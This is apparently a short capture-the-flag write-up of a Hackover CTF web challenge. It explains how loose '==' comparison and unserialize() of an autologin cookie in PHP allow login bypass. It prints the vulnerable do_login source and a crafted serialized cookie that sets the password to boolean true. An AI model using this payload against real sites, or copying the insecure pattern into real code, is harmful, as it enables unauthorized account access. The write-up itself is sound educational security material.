A long time since last writeup so i have decided comment a simple web level solved on “Hackover CTF”. It’s very old vulnerability related with type safe comparation on PHP and serialize function. We have a web login with normal test users (demo, demo2) and a ‘remember login’ function that help us to keep login ‘passing data’ to autologin cookie, which have the vulnerability. This cookie has the original format:
a:2:{s:8:"username";s:4:"demo";s:8:"password";s:32:"6388af9e3c3b76e5f053c0ff204f9228";}
As wen can see the source code of the application we start analyzing vulnerable points on do_login method, seeing what’s really compared with this piece of serialized cookie string.
function do_login($username, $pw_hash, $autologin)
{
global $db;
if (isset($_SESSION['user_id'])) {
return true;
}
$sth = $db->prepare('SELECT id, password FROM account WHERE username = ?');
$sth->bindValue(1, $username);
$result = $sth->execute()->fetchArray();
if ($result && $result['password'] == $pw_hash) { //<-- See how is compared, == instead === !!!
$_SESSION['user_id'] = $result['id'];
if ($autologin) {
setcookie('autologin', serialize(array(
'username' => $username,
'password' => $pw_hash
)), time() + 60*60*24*14);
}
header('Location: /');
die();
}
return false;
}
if (isset($_COOKIE['autologin'])) {
$data = @unserialize($_COOKIE['autologin']);
do_login($data['username'], $data['password'], true); // and here data unserialized.
}
So the problem is we can set a boolean true value in serialized password data and this will produce ‘true’ comparation. Here it’s:
a:2:{s:8:"username";s:5:"Alice";s:8:"password";b:1;}
Ok. It’s all to get the flag.
If you are interested on this PHP serialize vulnerability and others like that, see this pdf:
http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20POC2009%20Shocking%20News%20In%20PHP%20Exploitation.pdf
